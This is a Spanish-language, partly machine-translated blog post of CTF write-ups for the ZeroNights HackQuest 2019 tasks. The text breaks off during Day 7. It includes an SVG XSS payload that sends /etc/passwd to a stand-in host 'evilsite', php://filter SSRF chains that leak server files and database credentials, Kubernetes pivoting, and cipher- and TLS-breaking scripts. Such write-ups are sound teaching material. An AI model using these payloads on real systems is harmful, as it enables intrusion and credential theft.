ZeroNights Hackquest 2019. Resultados y reseñas

Más recientemente, la HackQuest anual, programada para coincidir con la conferencia ZeroNights, ha finalizado. Como en años anteriores, los participantes tuvieron que resolver 7 tareas diferentes, una para el día de la búsqueda. Las tareas, como siempre, ayudaron a preparar a nuestros socios de la comunidad. Puede descubrir cómo se resolvieron las tareas y quién se convirtió en los ganadores de la hackquest esta vez, bajo el corte.


imagen

Día 1. TOP SECRET


Ganadores
1er lugar2do lugar
vladvisGotdaswag

La primera tarea de este año fue preparada por el equipo de auditoría de Seguridad Digital . Para resolverlo, los participantes tuvieron que pasar por tres etapas: acceder a los contenidos del chat interno del portal del juego, explotar la vulnerabilidad en el bot de Discord y usar la configuración de derechos incorrecta en el clúster de Kubernetes.


La decisión de la tarea del primer día (vladvis)

1er paso: graphql


  • Inicialmente, llegamos a una aplicación web con un juego y calificación del lado del cliente js.
  • Además de estática, solo se realiza 1 solicitud al backend:
  • Puede obtener una lista de todos los tipos y sus campos con la siguiente consulta:
    { __schema { types { name fields { name } } } } 
  • Vemos el campo de comentarios, lo solicitamos en la solicitud inicial y obtenemos un enlace al siguiente paso.

2do paso: discord bot


  • Un bot nos encuentra en el servidor y crea un canal separado para nosotros.
  • Inmediatamente vemos una pista de SSRF en gitea, pero nunca llegué a eso = (
  • Intentamos leer el archivo local:
     <svg width="10cm" height="3cm" viewBox="0 0 1000 300" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <script type="text/javascript"> for (var i=0; trefs[i]; i++) { var xhr = new XMLHttpRequest(); xhr.open("GET","/etc/passwd",false); xhr.send(""); var xhr2 = new XMLHttpRequest(); xhr2.open("GET", "http://evilsite/?p="+btoa(xhr.responseText),false); xhr2.send(""); } </script> </svg> 
  • Obtenemos / etc / passwd y vemos 2 usuarios: trabajador, en cuyo nombre se representan svg y gitea
     worker:x:1000:1000::/home/worker:/bin/sh gitea:x:1001:1001::/home/gitea:/bin/sh 
  • En este paso, pasé por una ruta no deseada: en .bash_history, el trabajador tenía rutas a la clave ssh y la dirección del servidor para la siguiente etapa
     cd nano .ssh/connect_info echo > .bash_history exit cd cd .ssh/ chmod 755 id_rsa ls -al cat id_rsa exit 

    3er paso: kubernetes

  • Parece que llegué a esta etapa primero. .bash_history y ps estaban vacíos y de esto concluí que para cada ip se crea un entorno aislado
  • Se encontró una ficha para kubernetes en el monte
  • Al principio no estaba claro dónde obtener el token, y comencé a escanear la cuadrícula ... y en algún momento comencé a caminar hacia los vecinos en la nube
  • Después de eso, se emitió una sugerencia sobre qué subredes para escanear, y se encontraron restos de api kubernetes casi de inmediato
  • En este punto, me di cuenta de que no estaba solo en el servidor y que no deseaba cortar algo, por ejemplo, enmascarar cmdline, así que decidí hacerlo. mas facil es más doloroso y avanza hacia sí mismo calce proxy a través de ssh
  • Usando kubectl get pods , se obtuvo una lista de contenedores, y la documentación de kubernetes sugirió que exec podría usarse con la misma sintaxis que docker
  • Luego hubo 1.5 horas de sufrimiento con el proxy de calcetines, a través del cual no surgió websocket para ejecutivos. Terminé yendo directamente a kubectl a través de ssh
  • El segundo contenedor tiene un nuevo token y ya tenía acceso al clúster en el espacio de nombres vecino zn2 (inicialmente estamos en el espacio de nombres zn1), desde el cual era visible redis
  • Recordamos el informe @paulaxe del pasado Zeronights y obtenemos RCE, por ejemplo, usando este PoC
  • Después de recibir el siguiente token, puedes sacar la bandera de los secretos de kubernetes

Día 2. MICOSOFT LUNIX


Ganadores
1er lugar2do lugar3er lugar
desgarradoPecado__AV1ct0r
También decidió: demidov_al, gotdaswag, medidrdrider, groke_is_love_groke_is_life

La asignación del segundo día fue preparada por miembros de la comunidad r0 Crew . Para resolver esto, debe generar una clave de activación para una imagen de Linux con un núcleo modificado.


La decisión de la tarea del segundo día (desgarrada)

Dado: archivo jD74nd8_task2.iso , imagen ISO de arranque. De los archivos dentro de la imagen, podemos suponer que se trata de Linux: hay un boot/kernel.xz kernel boot/kernel.xz , un boot/rootfs.xz y un cargador de arranque boot/syslinux/ .


Estamos tratando de descomprimir el núcleo y el disco ram. Ramdisk aquí es un archivo cpio normal comprimido por xz. Desempaquete el kernel usando el script https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux . También puede prestar atención a la información del núcleo:


 > file kernel.xz kernel.xz: Linux kernel x86 boot executable bzImage, version 5.0.11 (billy@micosoft.com) #1 SMP Sat Aug 25 13:37:00 CEST 2019, RO-rootFS, swap_dev 0x2, Normal VGA 

En el camino, encontramos en la imagen iso la tarea principal de minimal/rootfs/bin/activator : todo se reduce a escribir los datos de correo electrónico ingresados ​​y la clave de activación en el dispositivo /dev/activate en el formato $email|$key . En caso de una verificación exitosa de la clave, leer desde /dev/activate producirá la línea ACTIVATED , y el activador en este caso comenzará el juego 2048.


Es hora de mirar la tarea en dinámica. Para hacer esto, ejecute el emulador en KVM:


 > qemu-system-x86_64 -enable-kvm -drive format=raw,media=cdrom,readonly,file=jD74nd8_task2.iso 

Linux se inicia e inicia inmediatamente /bin/activator desde la superposición. Esto se explica en /etc/inittab . Para evitar profundizar en el binario durante mucho tiempo, quería obtener un shell y mirar al menos /proc y /sys . La forma más fácil para mí fue simplemente cargar el archivo iso en el lugar donde se encuentra el script del activador. En lugar de sleep 1 set /bin/sh , es decir Recibí un shell después de cada intento de ingresar una serie.


Entonces, hay un shell: vemos que /proc/kallsyms ausente, es decir faltan caracteres del núcleo. Con ellos, por supuesto, sería mucho más rápido, pero está bien. Estamos buscando información sobre el dispositivo /dev/activator :


 / # ls -la /dev/activate crw------- 1 0 0 252, 0 Oct 15 08:57 /dev/activate / # cat /proc/devices Character devices: ... 252 activate ... Block devices: ... 

De la información en /proc/devices se puede ver que este es un dispositivo char con versión principal 252 y menor 0.


Es hora de encontrar la función de registro de este dispositivo en el binario del kernel para encontrar el controlador para su operación de write . Para hacer esto, encuentre referencias cruzadas a la cadena activate . Pero no existe esa línea en el núcleo, probablemente de alguna manera está oculta.


En el próximo intento, tratamos de encontrar las funciones responsables de registrar dispositivos de caracteres: cdev_add y register_chrdev . Esto se puede hacer mediante referencias cruzadas /dev/console o cualquier otro dispositivo de caracteres y tomando el código fuente del núcleo (tomé la versión 5.0.11, pero no estoy seguro de si la versión es correcta). Después de mirar la lista de dispositivos que se están registrando, no encontramos un dispositivo con la versión principal 252. Es probable que estas dos funciones no se registren.


Intentemos buscar otras pistas en la dinámica:


 / # ls -la /sys/dev/char/252:0 lrwxrwxrwx 1 0 0 0 Oct 15 09:00 /sys/dev/char/252:0 -> ../../devices/virtual/EEy????I/activate 

Aquí está el EEy????I : ¿la EEy????I dispositivo EEy????I ¡Intentamos encontrar esta línea en el binario y está ahí!



Aunque no se encontraron referencias cruzadas a él, pero al lado hay datos visibles similares a las cadenas. Si observa el código que los usa, puede ver que estos son los controladores de lectura y escritura deseados del dispositivo de activate que están cifrados con XOR simple.


Función de procesamiento de lectura:



La función de procesar la operación de escritura, también es una verificación de licencia:



Una inspección rápida del código de verificación de activación mostró que es más fácil colocar un punto de interrupción en la dirección 0xFFFFFFFF811F094B y recoger el código de activación allí, sin profundizar realmente en lo que está sucediendo allí. Para hacer esto, ejecuta qemu con la bandera -s . En este caso, qemu ejecuta gdb stub, que le permite usar cualquier cliente gdb. La forma más fácil y rápida de hacer esto en IDA Pro, si tiene una licencia. Pero nadie prohíbe hacer todo en la consola gdb.


Hacemos todo como se describe en el tutorial oficial. Ahora necesita encontrar la función de procesamiento dentro del núcleo ya en ejecución.




Dado que el núcleo está construido con soporte KASLR, las direcciones del núcleo en ejecución se desplazan a un desplazamiento aleatorio que se genera cada vez que se inicia el núcleo. Calculamos este desplazamiento (tomamos la dirección de la secuencia de bytes única en el código del núcleo depurado y restamos la dirección de esta secuencia del binario) y, agregando la función de activación a la dirección, la encontramos en la memoria. Todo, ahora depende de lo pequeño. Establecer un punto de interrupción y recoger el código.





La solución a esta tarea ya ha sido publicada en el centro por uno de los participantes. Puedes conocerlo aquí .


Día 3. CASA DE BECHED


Ganadores
1er lugar
blackfan

Trabajo preparado por beched ( DeteAct ). Los participantes fueron recibidos por una página de pago sin complicaciones. Para la solución, fue necesario acceder a la base de datos Clickhouse utilizando la función de la función php file_get_contents .


La decisión de la tarea del tercer día (blackfan)

La tarea es una página de pago, donde el único parámetro interesante era callback_url.


https://i.imgur.com/iX65TI3.png


Indicamos su sitio y captamos la solicitud:


 http://82.202.226.176/?callback_url=http://attacker.tld/&pan=&amount=&payment_id= 

 POST / HTTP/1.0 Host: attacker.tld Connection: close Content-Length: 21 Content-Type: application/json amount=0&payment_id=0 

Una respuesta HTTP se muestra solo si el sitio devuelve una cadena alfanumérica. Ejemplos de respuestas:


 {"result":"Success.","msg":"Response: testresponse"} {"result":"Invalid status code.","msg":"Non-alphanumeric response."} 

Intentamos como datos callback_url :, probar y comprender que, muy probablemente, esto es PHP.


 http://82.202.226.176/?callback_url=data:,test&pan=&amount=&payment_id= 

Usamos php: // filter para leer archivos locales y codificar la respuesta usando convert.base64-encode para que la respuesta coincida con alfanuméricos. Debido a los caracteres +, / y =, a veces es necesario combinar varias llamadas de base64 para mostrar una respuesta.


 http://82.202.226.176/?pan=xxx&amount=xxx&payment_id=xxx&callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=./index.php http://82.202.226.176/?pan=xxx&amount=xxx&payment_id=xxx&callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=./includes/db.php 

 <?php error_reporting(0); /* * DB configuration */ $config = [ 'host' => 'localhost', 'port' 

La salida de respuesta está limitada a 200 bytes, pero de los fragmentos aprendemos sobre la disponibilidad de la base de datos en localhost. Ordenamos los puertos a través de callback_url y encontramos un nuevo artículo sobre inyección en ClickHouse en el blog DeteAct , que corresponde al extraño nombre de la tarea "HOUSE OF BECHED".


https://i.imgur.com/OBn22wi.png


ClickHouse tiene una interfaz HTTP que le permite realizar solicitudes arbitrarias, lo cual es muy conveniente de usar en SSRF.


Leemos la documentación, intentamos obtener una cuenta de la configuración.


 http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id= 

 <?xml version="1.0"?> <yandex> <!-- Profiles of settings. --> <profiles> <!-- Default settibm 

Nuevamente, la limitación de la salida interfiere y, a juzgar por el archivo estándar, el campo deseado está extremadamente lejos.


https://i.imgur.com/5Un6gfj.png


Corta el exceso usando el filtro string.strip_tags.


 http://82.202.226.176/?callback_url=php://filter/string.strip_tags|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id= 

Pero la longitud de salida aún no es suficiente hasta que se recibe la contraseña. Agregue un filtro de compresión zlib.deflate.


 http://82.202.226.176/?callback_url=php://filter/string.strip_tags|zlib.deflate|convert.base64-encode|convert.base64-encode/resource=/etc/clickhouse-server/users.xml&pan=&amount=&payment_id= 

Y lea localmente en orden inverso:


 print(file_get_contents('php://filter/convert.base64-decode|convert.base64-decode|zlib.inflate/resource=data:,NCtYaTVWSUFBbVFTRnd1VFoyZ0FCN3hjK0JRU2tDNUt6RXZKejBXMms3QkxETkVsZUNueVNsSnFja1pxU2taK2FYRnFYbjVHYW1JQmZoZWo4a0RBeWtyZkFGME5QajBwcVdtSnBUa2xWRkNFNlJaTUVWSkZRU0JSd1JZNWxGRTFVY3NLYllVa0JiV2NFbXNGUTRYOElv')); 

Después de recibir la contraseña, podemos enviar solicitudes de ClickHouse de la siguiente manera:


 http://localhost:8123/?query=select%20'xxx'&user=default&password=bechedhousenoheap http://default:bechedhousenoheap@localhost:8123/?query=select%20'xxx' 

Pero dado que inicialmente enviamos POST, necesitamos evitar esto usando la redirección. Y la solicitud final resultó así (en esta etapa era muy tonto, porque debido a la gran anidación del procesamiento de los parámetros, codifiqué incorrectamente caracteres especiales y no pude ejecutar la solicitud)


 http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=http://blackfan.ru/x?r=http://localhost:8123/%253Fquery=select%252520'xxx'%2526user=default%2526password=bechedhousenoheap&pan=&amount=&payment_id= 

Bueno, entonces solo obtenga los datos de la base de datos:


 select name from system.tables select name from system.columns where table='flag4zn' select bechedflag from flag4zn 

 http://82.202.226.176/?callback_url=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=http://blackfan.ru/x?r=http://localhost:8123/%253Fquery=select%252520bechedflag%252520from%252520flag4zn%2526user=default%2526password=bechedhousenoheap&pan=&amount=&payment_id= 

Día 4. ASR-EHD


Ganadores
1er lugar
AV1ct0r

La asignación del cuarto día fue preparada por el Departamento de Investigación de Seguridad Digital . La tarea principal de la tarea era mostrar cómo la elección incorrecta de la fuente de números aleatorios puede afectar el algoritmo criptográfico. En taskka, se implementó un generador de clave privada aleatorio autoescrito para DH, basado en LFSR. Al recibir un número suficiente de apretones de manos TLS consecutivos utilizando valores de DH públicos, fue posible restaurar el estado inicial del LFSR y descifrar todo el tráfico.


La decisión de la tarea del cuarto día (AV1ct0r)

Día 4 / ASR-EHD - WriteUp por AV1ct0r


Peter es un poco paranoico: siempre usa conexiones cifradas. Para asegurarse de que los algoritmos son seguros, Peter usa su propio cliente. Incluso nos dio un volcado de tráfico que se hizo mientras usaba su cliente personalizado. ¿Es realmente segura la conexión de Peter?


https://hackquest.zeronights.org/downloads/task4/8Jdl3f_client.tar
https://hackquest.zeronights.org/downloads/task4/d8f3ND_dump.tar


  1. Abra el archivo del cliente en IDA Pro y vea que puede descargar parte del archivo flag.jpg del servidor https://ssltest.a1exdandy.me:443/ . Qué parte del archivo descargar (de qué byte) se toma de la línea de comando.


     signed __int64 __fastcall main(int argc, char **argv, char **a3) { size_t v4; // rsi __int64 v5; // ST48_8 int v6; // [rsp+10h] [rbp-450h] int v7; // [rsp+14h] [rbp-44Ch] __int64 v8; // [rsp+20h] [rbp-440h] __int64 v9; // [rsp+28h] [rbp-438h] __int64 v10; // [rsp+30h] [rbp-430h] __int64 v11; // [rsp+38h] [rbp-428h] __int64 v12; // [rsp+40h] [rbp-420h] char ptr; // [rsp+50h] [rbp-410h] unsigned __int64 v14; // [rsp+458h] [rbp-8h] v14 = __readfsqword(0x28u); if ( argc != 3 ) return 0xFFFFFFFFLL; v6 = atoi(argv[1]); v7 = atoi(argv[2]); if ( v6 < 0 || v7 < 0 || v7 <= v6 ) return 0xFFFFFFFFLL; v8 = 0LL; v9 = 0LL; v10 = 0LL; OPENSSL_init_ssl(0LL, 0LL); OPENSSL_init_crypto(2048LL, 0LL); v11 = ENGINE_get_default_DH(2048LL, 0LL); if ( v11 ) { if ( (unsigned int)ENGINE_init(v11) ) { v12 = ENGINE_get_DH(v11); if ( v12 ) { v8 = DH_meth_dup(v12); if ( v8 ) { if ( (unsigned int)DH_meth_set_generate_key(v8, dh_1) ) { if ( (unsigned int)ENGINE_set_DH(v11, v8) ) { v5 = TLSv1_2_client_method(v11, v8); v10 = SSL_CTX_new(v5); if ( (unsigned int)SSL_CTX_set_cipher_list(v10, "DHE-RSA-AES128-SHA256") ) { v9 = BIO_new_ssl_connect(v10); BIO_ctrl(v9, 100LL, 0LL, (__int64)"ssltest.a1exdandy.me:443"); if ( BIO_ctrl(v9, 101LL, 0LL, 0LL) >= 0 ) { BIO_ctrl(v9, 101LL, 0LL, 0LL); BIO_printf(v9, "GET /flag.jpg HTTP/1.1\n", argv); BIO_printf(v9, "Host: ssltest.a1exdandy.me\n"); BIO_printf(v9, "Range: bytes=%d-%d\n\n", (unsigned int)v6, (unsigned int)v7); v4 = (signed int)BIO_read(v9, &ptr, 1024LL); fwrite(&ptr, v4, 1uLL, stdout); } else { v4 = 1LL; fwrite("Can't do connect\n", 1uLL, 0x11uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set cipher list\n", 1uLL, 0x16uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set DH methods\n", 1uLL, 0x15uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set generate_key method\n", 1uLL, 0x1EuLL, stderr); } } else { v4 = 1LL; fwrite("Can't dup dh meth\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } } else { v4 = 1LL; fwrite("Can't init engine\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } if ( v11 ) { ENGINE_finish(v11, v4); ENGINE_free(v11); } if ( v8 ) DH_meth_free(v8, v4); if ( v10 ) SSL_CTX_free(v10, v4); if ( v9 ) BIO_free_all(v9, v4); return 0LL; } 

    No había imágenes con la bandera en el servidor, pero dump.pcap resultó tener mucho tráfico ssl, presumiblemente con partes de la imagen. Después de una revisión rápida del servidor para detectar posibles problemas (para robar una clave privada para descifrar el tráfico), se descubrió que el servidor no es vulnerable. Además, en sesiones SSL, de acuerdo con el volcado de tráfico y el cliente, se usa el cifrado DHE-RSA-AES128-SHA256, en el que RSA se usa solo para firmar, y las claves se intercambian de acuerdo con el esquema Diffie-Hellman (una clave de servidor RSA privada en este modo no nos ayudará )


  2. Con un poco de podirbastiv, el servidor encontró el archivo https://ssltest.a1exdandy.me/x , que es un malware simple, la dirección de administrador cosida es 0x82C780B2697A0002 (0x82C780B2: 0x7a69 = 178.128.199.130 opin1337). Cuando se conectó al puerto 31337, se descubrió que el servidor admite 3 comandos, algunos de los cuales solicitan argumentos adicionales


     nc 178.128.199.130 31337 Yet another fucking heap task... Command: 1-3 1 - Index: - Size: 2 - Index: 3 - Index: - Length: 

    Pero no se pudo hacer nada más con este puerto, y lo más probable es que fuera una tarea de distracción.


  3. Después de mirar detenidamente al cliente, vi que usa un generador de secretos Diffie-Hellman personalizado:


     int __fastcall rnd_work(__int64 a1) { __int64 v1; // rsi unsigned int i; // [rsp+10h] [rbp-10h] rnd_read(); BN_bin2bn(&RANDOM_512, 512LL, a1); BN_lshift1(a1, a1); v1 = (unsigned int)BITS_ind[0]; // BITS_ind dd 4096, 4095, 4081, 4069, 0 if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[0]) ) { for ( i = 0; i <= 4; ++i ) { if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[i]) ) { v1 = (unsigned int)BITS_ind[i]; BN_clear_bit(a1, v1); } else { v1 = (unsigned int)BITS_ind[i]; BN_set_bit(a1, v1); } } } if ( (unsigned int)((signed int)((unsigned __int64)BN_num_bits(a1) + 7) / 8) > 0x200 ) { printf("Err!", v1); exit(0); } BN_bn2binpad(a1, &RANDOM_512, 512LL); return rnd_write(); } 

    Inicialmente, el secreto (512 bytes) se lee desde / dev / urandom y se guarda en el archivo de estado. Con cada solicitud posterior, la siguiente magia ocurre con un secreto:


     XOR = 2**4096 + 2**4095 + 2**4081 + 2**4069 + 1 CMP = 2**4096 state *= 2 if state > CMP: state ^= XOR 

    El secreto como un número largo se desplaza 1 bit a la izquierda, y si el bit más significativo fue 1, entonces el número está en una constante de 5 bits distintos de cero (XOR).



Mirando pcap, vi que los parámetros de Diffie-Hellman que llegan del servidor son constantes:


 dh_g = 2 dh_p = 

Y cada vez que se establece una conexión, el cliente envía su parte pública del secreto Diffie-Hellman. Al comparar las partes públicas de los secretos de las sesiones vecinas, puede restaurar el secreto inicial del cliente y luego todos los secretos posteriores para cada sesión:
Si el bit más alto del secreto es 0, entonces en la próxima sesión el secreto simplemente será 2 veces más grande, y la parte pública se elevará al cuadrado módulo p. Por lo tanto, fue posible restaurar el secreto inicial (lo que se leyó de / dev / urandom) módulo p:


212030266574081313400816495535550771039880390539286135828101869037345869420205997453325815053364595553160004790759435995827592517178474188665111332189420650868610567156950459495593726196692754969821860322110444674367830706684288723400924718718744572072716445007789955072532338996543460287499773137785071615174311774659549109541904654568673143709587184128220277471318155757799759470829597214195494764332668485009525031739326801550115807698375007112649770412032760122054527000645191827995252649714951346955180619834783531787411998600610075175494746953236628125613177997145650859163985984159468674854699901927080143977813208682753148280937687469933353788992176066206254339449062166596095349440088429291135673308334245804375230115095159172312975679432750163246936266603077314220813042048063033927345613565227184333091534551071824033535159483541175958867122974738255966511008607723675431569961127852005437047813822454112416864211120323016008267853722731311026233323235121922969702016337164336853826598082855592007126727352041124911221048498141841625765390204460725231581416991152769176243658310857769293168120450725070030636638954553866903537931113666283836250525318798622872347839391197939468295124060629961250708172499966110406527347

y a partir de eso es fácil calcular los secretos para todas las demás sesiones.


Y aquí hubo problemas:
A) Wireshark no puede descifrar SSL, conociendo los secretos de Diffie-Hellman, y no había soluciones preparadas. Debemos descubrir el secreto general de Diffie-Hellman (también conocido como sesiones de clave maestra previa) y usarlo para encontrar una sesión de clave maestra usando una bicicleta grande (no pensé que haya bicicletas en SSL). A continuación, puede crear un archivo SSLKEYLOG en el que escribir al cliente al azar (en cada sesión SSL) y la clave maestra, especificarlo en la configuración de WireShark para el descifrado SSL y, en teoría, obtener ganancias.


Pero surgieron algunos problemas más:
B) PHP considerado demasiado lento (no se usan las funciones bcadd , bcpowmod ...), decidí reescribirlo en python.
C) No se pudo encontrar la fórmula para calcular la clave maestra por la clave maestra previa en forma humana, ssl es muy difícil de entender, tampoco pude obtener openssl para generar los resultados de los cálculos intermedios. Como resultado, utilicé este código , descripción y algún tipo de RFC:


Como resultado, después de medio día pude crear esto (para mí, no podría funcionar sin bicicletas):


 for i in xrange(0, 4264): dh_secret = pow(srv_pubkeys[i], state, dh_p) dh_secret = hex(dh_secret)[2:-1] if len(dh_secret) % 2 : dh_secret = "0"+dh_secret while dh_secret[0:2] == "00": dh_secret = dh_secret[2:] dh_secret = dh_secret.decode("hex") seed = "master secret"+(cl_random[i].strip() + srv_random[i].strip()).decode("hex") A = seed master_key = "" for j in xrange(0, 2): A = hmac.new(dh_secret, A, hashlib.sha256).digest() master_key += hmac.new(dh_secret, A+seed, hashlib.sha256).digest() master_key = master_key[0:48].encode("hex") print "CLIENT_RANDOM " + cl_random[i].strip() + " " + master_key state *= 2 if state > CMP: state ^= XOR 

D) Para arrancar varios clientes al azar, ... de las sesiones de Wireshark, se utilizó exportar a csv y buscar en el tráfico sin procesar lo que entró en csv como "...".


E) Para descifrar 4264 sesiones, WireShark decidió comer muchos gigabytes de operativo (8 no era suficiente para él), pero nada, puede ejecutar todo en una computadora potente y no en una computadora portátil débil. Sin embargo, al exportar objetos http (piezas descifradas de una imagen) WireShark puede guardar solo los primeros 1000 archivos y luego finaliza su numeración. Como resultado, tuve que dividir pcap en 5 partes de 1000 sesiones de tcp en cada una. El resultado fue una imagen tan hermosa después de pegar todas las piezas:



Todos los archivos utilizados por el ganador para resolver la tarea se pueden encontrar aquí .


Día 5. CONCHA PROTEGIDA


Ganadores
1er lugar2do lugar3er lugar
vosBartimeoClo
También decidió: Maxim Pronin, 0x3c3e, tinkerlock, demidov_al, x @ secator, groke_in_the_sky, d3fl4t3

Tarea preparada por RuCTFE . Los participantes recibieron un archivo ejecutable ofuscado con una serie de técnicas anti-depuración. El archivo ejecutable es como un cliente SSH que está conectado a un servidor previamente conocido. La tarea es comprender el algoritmo de este archivo para obtener la ejecución de comandos en el servidor. La solución del autor implicó evitar la depuración y analizar la ofuscación.


Es de destacar que el participante más rápido resolvió la tarea de una manera original diferente a la planeada por el autor, y después de eso encontró otra solución. Puedes ver cómo lo hizo debajo del spoiler a continuación.


Opciones de solución de tareas del quinto día (vos)


Día 6. DESBLOQUEO


Ganadores
1er lugar2do lugar3er lugar
Gotdaswagmedidrdridersysenter

La asignación del sexto día fue preparada por el equipo VolgaCTF . Dado un archivo ejecutable que implementa un algoritmo criptográfico personalizado. La tarea es descifrar el archivo dado en la condición, encriptado usando este algoritmo, sin tener una clave conocida.


Solución de tarea del sexto día (gotdaswag)

INTRO


Dado un archivo con dos archivos, locker y secret.png.enc .


El primer archivo es un ELF para Linux x86-64, que recibe un archivo y una clave de cifrado como entrada, y el segundo es una imagen PNG cifrada.


 # ./locker Required option 'input' missing Usage: ./locker [options] Options: -i, --input in.png Input file path -o, --output out.png.enc Output file path -k, --key 0004081516234200 Encryption key in hex -h, --help Print this help menu 

BLOQUEO


Después de analizar el archivo en IDA, encontramos el algoritmo de cifrado en la función project :: main .



Habiéndolo estudiado, entendemos que este es un cifrado de bloque (BCE), con un tamaño de bloque de 32 bits , un tamaño de clave de 64 bits y el número de rondas de 77 .


Versión de Python

 def encrypt(p, k, rounds=77): for i in range(0, rounds): n = (p >> 4) & 1 n |= (p >> 26) & 0xE0 n |= (p >> 22) & 0x10 n |= (p >> 13) & 8 n |= (p >> 7) & 4 n |= (p >> 4) & 2 x = p ^ k x ^= p >> 12 x ^= p >> 20 x &= 1 y = 1 << n y &= 0xBB880F0FC30F0000 y >>= n y &= 1 if x == y: p &= 0xFFFFFFFE else: p |= 1 k = ror(k, 1, 64) p = ror(p, 1, 32) return p 

CLAVE SECRETA


Sabemos que el archivo cifrado es una imagen PNG .
En consecuencia, conocemos un par de texto cifrado en texto plano en forma de encabezado de archivo (es estándar para PNG).


Probemos de manera simple y usemos el solucionador SMT ( Z3 ) para encontrar la clave de cifrado.
Para hacer esto, modifique ligeramente el código y envíe a la entrada un par de texto plano-texto cifrado.


task6_key.py

 import sys import struct from z3 import * # PNG file signature (8 bytes) + IHDR chunk header (8 bytes) PLAIN_TEXT = b'\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52' BLOCK_SIZE = 4 def encrypt(p, k, rounds=77): for i in range(0, rounds): n = LShR(p, 4) & 1 n |= LShR(p, 26) & 0xE0 n |= LShR(p, 22) & 0x10 n |= LShR(p, 13) & 8 n |= LShR(p, 7) & 4 n |= LShR(p, 4) & 2 x = k ^ ZeroExt(32, p) x ^= LShR(ZeroExt(32, p), 12) x ^= LShR(ZeroExt(32, p), 20) x &= 1 y = 1 << ZeroExt(32, n) y &= 0xBB880F0FC30F0000 y = LShR(y, ZeroExt(32, n)) y &= 1 p = If(x == y, p & 0xFFFFFFFE, p | 1) p = RotateRight(p, 1) k = RotateRight(k, 1) return p def qword_le_to_be(v): pv = struct.pack('<Q', v) uv = struct.unpack('>Q', pv) return uv[0] if len(sys.argv) < 2: sys.exit('no input file specified') with open(sys.argv[1], 'rb') as encrypted_file: k = BitVec('k', 64) key = k solver = Solver() for i in range(0, len(PLAIN_TEXT), BLOCK_SIZE): # prepare plain text and cipher text pairs pt = struct.unpack('<L', PLAIN_TEXT[i:i + BLOCK_SIZE])[0] ct = struct.unpack('<L', encrypted_file.read(BLOCK_SIZE))[0] p = BitVecVal(pt, 32) e = BitVecVal(ct, 32) solver.add(encrypt(p, k) == e) print('solving ...') if solver.check() == sat: encryption_key = solver.model()[key].as_long() print('key: %016X' % qword_le_to_be(encryption_key)) 

Solución:


 > python task6_key.py "secret.png.enc" solving ... key: AE34C511A8238BCC 

UNLOCKER


.
.


task6_unlocker.py

 import sys import time import struct import binascii BLOCK_SIZE = 4 ror = lambda val, r_bits, max_bits: \ ((val & (2**max_bits-1)) >> r_bits%max_bits) | \ (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) rol = lambda val, r_bits, max_bits: \ (val << r_bits%max_bits) & (2**max_bits-1) | \ ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits))) def decrypt(e, k, rounds=77): dk = ror(k, 13, 64) for i in range(0, rounds): dk = rol(dk, 1, 64) e = rol(e, 1, 32) n = (e >> 4) & 1 n |= (e >> 26) & 0xE0 n |= (e >> 22) & 0x10 n |= (e >> 13) & 8 n |= (e >> 7) & 4 n |= (e >> 4) & 2 x = e ^ dk x ^= e >> 12 x ^= e >> 20 x &= 1 y = 1 << n y &= 0xBB880F0FC30F0000 y >>= n y &= 1 if x == y: e &= 0xFFFFFFFE else: e |= 1 return e if len(sys.argv) < 2: sys.exit('no input file specified') elif len(sys.argv) < 3: sys.exit('no output file specified') elif len(sys.argv) < 4: sys.exit('no encryption key specified') try: key = binascii.unhexlify(sys.argv[3]) key = struct.unpack('<Q', key)[0] except: sys.exit('non-hexadecimal encryption key') print('unlocking ...') start_time = time.time() with open(sys.argv[1], 'rb') as ef: with open(sys.argv[2], 'wb') as df: while True: ct = ef.read(BLOCK_SIZE) if not ct: break ct = struct.unpack('<L', ct)[0] pt = decrypt(ct, key) pt = struct.pack('<L', pt) df.write(pt) print('done, took %.3f seconds.' % (time.time() - start_time)) 

, .


 > python task6_unlocker.py "secret.png.enc" "secret.png" "AE34C511A8238BCC" unlocking ... done, took 49.669 seconds. 

secret.png


ZN{RA$T0GR@PHY_H3RTS}

Day 7. Beep Beep!


1
sysenter

SchoolCTF . , , . , , .


(sysenter)

Something that looks like VirtualBox RAM dump is provided to us.


We can try volatility, but it seems that it unable to locate required structures to restore Virtual Memory layout.



No process memory for us today, so we will have to work with fragmented memory.


First of all let's precache strings from the dump.


 strings > strings_ascii.txt strings -el > strings_wide.txt 

Most interesting one is command execution log:


